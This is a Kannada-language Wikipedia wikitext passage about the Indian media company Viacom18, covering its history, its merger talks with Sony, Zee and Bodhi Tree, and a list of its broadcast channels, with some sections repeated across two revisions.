=== Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಉಲ್ಲೇಖಗಳು == {{Reflist|refs="Viacom18 Media Pvt. Ltd". Viacom18.com. Archived from the original on 23 October 2018. Retrieved 27 July 2018. "TV18 Broadcast Ltd (CRD)" (PDF). BSEIndia. Archived from the original (PDF) on 23 September 2015. "Corporate restructure complete for India's Network18". rapidtvnews.com. Retrieved 10 August 2017. "Beefing Up The Bouquet". business.outlookindia.com. Retrieved 10 August 2018. "Viacom18 launches its new channel 'sonic' in India". India Infoline. 5 December 2018. Retrieved 26 December 2018. "TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc". Viacom18. 31 January 2018. Retrieved 31 January 2018. "Our Channels - On Air". viacom18.com. https://bestmediainfo.com/2019/09/colors-telugu-goes- digital-first-to-launch-on-voot-on-sept-23/ https://brandequity.economictimes.indiatimes.com/news/media/viacom18-goes-digital-first-launches-colors- telugu-on-voot/71187480}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] e3djc79zykunctf9wrm29ba1jgwm62i 1116510 1116425 2022-08-23T15:40:34Z Ishqyk 76644 Created by translating the section "ಚಾನಲ್‌ಗಳು ಮತ್ತು ವೇದಿಕೆಗಳು" from the page "[[:en:Special:Redirect/revision/1105839052|Viacom18]]" wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. {{Infobox company | name = ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್ | logo = Viacom 18.svg | type = ಜಂಟಿ ಉದ್ಯಮ | industry = [[ದೂರದರ್ಶನ]] | foundation = 2007 ನವೆಂಬರ್ | location = [[ವೈಲ್ ಪಾರ್ಲೆ]], [[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], ಭಾರತ<ref>{{Cite web|url=http://www.viacom18.com/contact.html |title=Viacom18 Media Pvt. Ltd |publisher=Viacom18.com |access-date=27 July 2018|url-status=dead |archive-url=https://web.archive.org/web/20111023065128/http://www.viacom18.com/contact.html |archive-date=23 October 2018 }}</ref> | key_people = ಜ್ಯೋತಿ ದೇಶಪಾಂಡೆ (ಸಿ ಈ ಓ) | owners = ನೆಟ್ವರ್ಕ್18 ಗುಂಪು (51%)<br />[[ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA1]] (49%) | subsid = | homepage = {{URL|https://www.viacom18.com/|ವಿಯಾಕಾಂ 18. ಕೋಂ}} }} == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಚಾನಲ್‌ಗಳು ಮತ್ತು ವೇದಿಕೆಗಳು == === ಪ್ರಸಾರ ವಾಹಿನಿಗಳು === ಟಿವಿ 18 ನಿಂದ ಲಭ್ಯವಿರುವ ವಿತರಣಾ ಚಾನಲ್‌ಗಳು ಈ ಕೆಳಗಿನಂತಿವೆ: <ref>{{Cite web|url=https://www.viacom18.com/onair/|title=Our Channels - On Air|website=viacom18.com}}</ref> {| class="wikitable sortable" style="text-align:middle;" ! style="width:180pt; background:White;" |ಚಾನಲ್ ! style="width:180pt; background:Violet;" |ಪ್ರಾರಂಭಿಸಲಾಗಿದೆ ! style="width:180pt; background:White;" |ಭಾಷೆ ! style="width:300pt; background:Violet;" |ವರ್ಗ ! style="width:180pt; background:White;" |SD/HD ಲಭ್ಯತೆ ! style="width:300pt; background:Violet;" |ಟಿಪ್ಪಣಿಗಳು |- |[[Colors TV|ಕಲರ್ಸ್ ಟಿವಿ]] |2008 | rowspan="8" |[[Hindi|ಹಿಂದಿ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |- |[[Colors Rishtey|ಕಲರ್ಸ್ ರಿಷ್ಟೆ]] |2014 |SD | |- |[[Colors Cineplex|ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್]] |2016 | rowspan="3" |ಚಲನಚಿತ್ರಗಳು |SD+HD | |- |[[Colors Cineplex Bollywood|ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್]] |2021 | rowspan="2" |SD | |- |[[Colors Cineplex Superhits|ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್‌ಹಿಟ್ಸ್]] |2022 | |- |[[MTV India|ಎಂಟಿವಿ]] |1996 |ಯುವ ಜನ | rowspan="2" |SD+HD | |- |[[MTV Beats|ಎಂಟಿವಿ ಬೀಟ್ಸ್]] |2014 |ಸಂಗೀತ | |- |[[Sports18|ಸ್ಪೋರ್ಟ್ಸ್ 18 ಖೇಲ್]] |2022 |ಕ್ರೀಡೆ |SD | |- |[[Colors Infinity|ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ]] |2015 | rowspan="4" |[[English language|ಆಂಗ್ಲ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ | rowspan="4" |SD+HD | |- |[[Comedy Central (Indian TV channel)|ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್]] |2012 | |- |[[VH1 India|ವಿ ಯೆಚ್ 1]] |2005 |ಸಂಗೀತ | |- |[[Sports18|ಸ್ಪೋರ್ಟ್ಸ್ 18 1]] |2022 |ಕ್ರೀಡೆ | |- |[[Nickelodeon (Indian TV channel)|ನಿಕೆಲೋಡಿಯನ್]] |1999 | rowspan="2" |[[ಹಿಂದಿ]]<br /> [[ತಮಿಳು]]<br /> [[ತೆಲುಗು]]<br /> [[ಮಲಯಾಳಂ]]<br />[[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] [[ಮರಾಠಿ]] [[ಗುಜರಾತಿ ಭಾಷೆ|ಗುಜರಾತಿ]][[ಕನ್ನಡ]] | rowspan="4" |ಮಕ್ಕಳು | rowspan="3" |SD | |- |[[Nickelodeon Sonic|ನಿಕೆಲೋಡಿಯನ್ ಸೋನಿಕ್]] |2011 | |- |[[Nick Jr. (India)|ನಿಕ್ ಜೂನಿಯರ್]] |2012 | rowspan="2" |[[ಹಿಂದಿ]]<br /><br /><br /><br /> [[ಆಂಗ್ಲ]] | |- |[[Nick HD+|ನಿಕ್ HD+]] |2015 |ಎಚ್.ಡಿ | |- |[[Colors Bangla|ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ]] |2000 | rowspan="2" |[[Bengali language|ಬೆಂಗಾಲಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[Colors Bangla Cinema|ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ]] |2019 |ಚಲನಚಿತ್ರಗಳು | rowspan="3" |SD | |- |[[Colors Gujarati|ಕಲರ್ಸ್ 